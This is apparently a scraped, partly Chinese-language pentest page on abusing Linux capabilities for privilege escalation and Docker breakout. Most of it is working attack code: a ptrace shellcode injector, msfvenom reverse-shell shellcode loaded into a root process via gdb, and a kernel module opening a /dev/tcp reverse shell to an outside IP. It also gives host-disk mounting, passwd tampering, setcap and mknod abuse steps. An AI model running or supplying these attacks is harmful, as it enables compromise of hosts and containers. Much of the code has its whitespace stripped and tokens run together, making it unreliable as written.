# Code to demonstrate the interaction of different capability sets might look like this:# Note: This is pseudo-code for illustrative purposes only.defmanage_capabilities(process):if process.has_capability('cap_setpcap'):process.add_capability_to_set('CapPrm', 'new_capability')process.limit_capabilities('CapBnd')process.preserve_capabilities_across_execve('CapAmb')
cat/proc/1234/status|grepCapcat/proc/$$/status|grepCap#This will print the capabilities of the current process
此命令在大多数系统上应返回 5 行。
CapInh = 继承的能力
CapPrm = 允许的能力
CapEff = 有效的能力
CapBnd = 边界集
CapAmb = 环境能力集
#These are the typical capabilities of a root owned process (all)CapInh:0000000000000000CapPrm:0000003fffffffffCapEff:0000003fffffffffCapBnd:0000003fffffffffCapAmb:0000000000000000
# Simplecap_sys_ptracedevelopercap_net_rawuser1# Multiple capablitiescap_net_admin,cap_net_rawjrnetadmin# Identical, but with numeric values12,13jrnetadmin# Combining names and numericscap_sys_admin,22,25jrsysadmin
环境能力
编译以下程序可以在提供能力的环境中生成一个 bash shell。
ambient.c
/** Test program for the ambient capabilities** compile using:* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c* Set effective, inherited and permitted capabilities to the compiled binary* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient** To get a shell with additional caps that can be inherited do:** ./ambient /bin/bash*/#include<stdlib.h>#include<stdio.h>#include<string.h>#include<errno.h>#include<sys/prctl.h>#include<linux/capability.h>#include<cap-ng.h>staticvoidset_ambient_cap(int cap) {int rc;capng_get_caps_process();rc =capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);if (rc) {printf("Cannot add inheritable cap\n");exit(2);}capng_apply(CAPNG_SELECT_CAPS);/* Note the two 0s at the end. Kernel checks for these */if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap,0,0)) {perror("Cannot set cap");exit(1);}}voidusage(constchar* me) {printf("Usage: %s [-c caps] new-program new-args\n", me);exit(1);}int default_caplist[]= {CAP_NET_RAW,CAP_NET_ADMIN,CAP_SYS_NICE,-1};int*get_caplist(constchar* arg) {int i =1;int* list =NULL;char* dup =strdup(arg),* tok;for (tok =strtok(dup,","); tok; tok =strtok(NULL,",")) {list =realloc(list, (i +1) *sizeof(int));if (!list) {perror("out of memory");exit(1);}list[i -1] =atoi(tok);list[i] =-1;i++;}return list;}intmain(int argc,char** argv) {int rc, i, gotcaps =0;int* caplist =NULL;int index =1; // argv index for cmd to startif (argc <2)usage(argv[0]);if (strcmp(argv[1],"-c")==0) {if (argc <=3) {usage(argv[0]);}caplist =get_caplist(argv[2]);index =3;}if (!caplist) {caplist = (int* ) default_caplist;}for (i =0; caplist[i] !=-1; i++) {printf("adding %d to ambient list\n", caplist[i]);set_ambient_cap(caplist[i]);}printf("Ambient forking shell\n");if (execv(argv[index], argv + index))perror("Cannot exec");return0;}
cp/etc/passwd./#Create a copy of the passwd fileopensslpasswd-1-saltabcpassword#Get hash of "password"vim./passwd#Change roots passwords of the fake passwd file
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
在之前的输出中,您可以看到 SYS_ADMIN 权限已启用。
挂载
这允许 docker 容器 挂载主机磁盘并自由访问:
fdisk-l#Get disk nameDisk/dev/sda:4GiB,4294967296bytes,8388608sectorsUnits:sectorsof1*512=512bytesSectorsize (logical/physical): 512 bytes / 512 bytesI/Osize (minimum/optimal): 512 bytes / 512 bytesmount/dev/sda/mnt/#Mount itcd/mntchroot./bash#You have a shell inside the docker hosts disk
#Like in the example before, the first step is to mount the docker host diskfdisk-lmount/dev/sda/mnt/#Then, search for open ports inside the docker hostnc-v-n-w2-z172.17.0.11-65535(UNKNOWN) [172.17.0.1] 2222 (?) open#Finally, create a new user inside the docker host and use it to access via SSHchroot/mnt/adduserjohnsshjohn@172.17.0.1-p2222
import ctypesimport sysimport struct# Macros defined in <sys/ptrace.h># https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT =4PTRACE_GETREGS =12PTRACE_SETREGS =13PTRACE_ATTACH =16PTRACE_DETACH =17# Structure defined in <sys/user.h># https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclassuser_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]libc.ptrace.restype = ctypes.c_uint64# Attach to the processlibc.ptrace(PTRACE_ATTACH, pid, None, None)registers=user_regs_struct()# Retrieve the value stored in registerslibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: "+hex(registers.rip))print("Injecting Shellcode at: "+hex(registers.rip))# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.cshellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.for i inxrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointerregisters.rip=registers.rip+2# Set the registerslibc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: "+hex(registers.rip))# Detach from the process.libc.ptrace(PTRACE_DETACH, pid, None, None)
使用二进制的示例 (gdb)
gdb 与 ptrace 能力:
/usr/bin/gdb = cap_sys_ptrace+ep
使用 msfvenom 创建一个 shellcode 以通过 gdb 注入内存
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.pybuf =b""buf +=b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"buf +=b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"buf +=b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"buf +=b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"buf +=b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"buf +=b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"buf +=b"\x0f\x05"# Divisible by 8payload =b"\x90"* (-len(buf)%8) + buf# Change endianess and print gdb lines to load the shellcode in RIP directlyfor i inrange(0, len(buf), 8):chunk = payload[i:i+8][::-1]chunks ="0x"for byte in chunk:chunks +=f"{byte:02x}"print(f"set {{long}}($rip+{i}) = {chunks}")
调试一个 root 进程使用 gdb 并复制粘贴之前生成的 gdb 行:
# Let's write the commands to a fileecho'set {long}($rip+0) = 0x296a909090909090set {long}($rip+8) = 0x5e016a5f026a9958set {long}($rip+16) = 0x0002b9489748050fset {long}($rip+24) = 0x48510b0e0a0a2923set {long}($rip+32) = 0x582a6a5a106ae689set {long}($rip+40) = 0xceff485e036a050fset {long}($rip+48) = 0x6af675050f58216aset {long}($rip+56) = 0x69622fbb4899583bset {long}($rip+64) = 0x8948530068732f6eset {long}($rip+72) = 0x050fe689485752e7c'>commands.gdb# In this case there was a sleep run by root## NOTE that the process you abuse will die after the shellcode/usr/bin/gdb-p $(pgrepsleep)[...](gdb) sourcecommands.gdbContinuing.process207009isexecutingnewprogram:/usr/bin/dash[...]
如果您收到错误 "No symbol "system" in current context.",请检查通过 gdb 在程序中加载 shellcode 的前一个示例。
带环境的示例(Docker 突破) - Shellcode 注入
您可以使用以下命令检查 docker 容器内启用的能力:
capsh--printCurrent: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits:00/0x0/1'b0secure-noroot: no (unlocked)secure-no-suid-fixup: no (unlocked)secure-keep-caps: no (unlocked)uid=0(root)gid=0(root)groups=0(root
capsh--printCurrent: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits:00/0x0/1'b0secure-noroot: no (unlocked)secure-no-suid-fixup: no (unlocked)secure-keep-caps: no (unlocked)uid=0(root)gid=0(root)groups=0(root)
在之前的输出中,您可以看到 SYS_MODULE 权限已启用。
创建 将执行反向 shell 的 内核模块 和 Makefile 以 编译 它:
reverse-shell.c
#include<linux/kmod.h>#include<linux/module.h>MODULE_LICENSE("GPL");MODULE_AUTHOR("AttackDefense");MODULE_DESCRIPTION("LKM reverse shell module");MODULE_VERSION("1.0");char* argv[]= {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1",NULL};staticchar* envp[]= {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",NULL };// call_usermodehelper function is used to create user mode processes from kernel spacestaticint __init reverse_shell_init(void) {returncall_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);}staticvoid __exit reverse_shell_exit(void) {printk(KERN_INFO "Exiting\n");}module_init(reverse_shell_init);module_exit(reverse_shell_exit);
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
回到主机:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb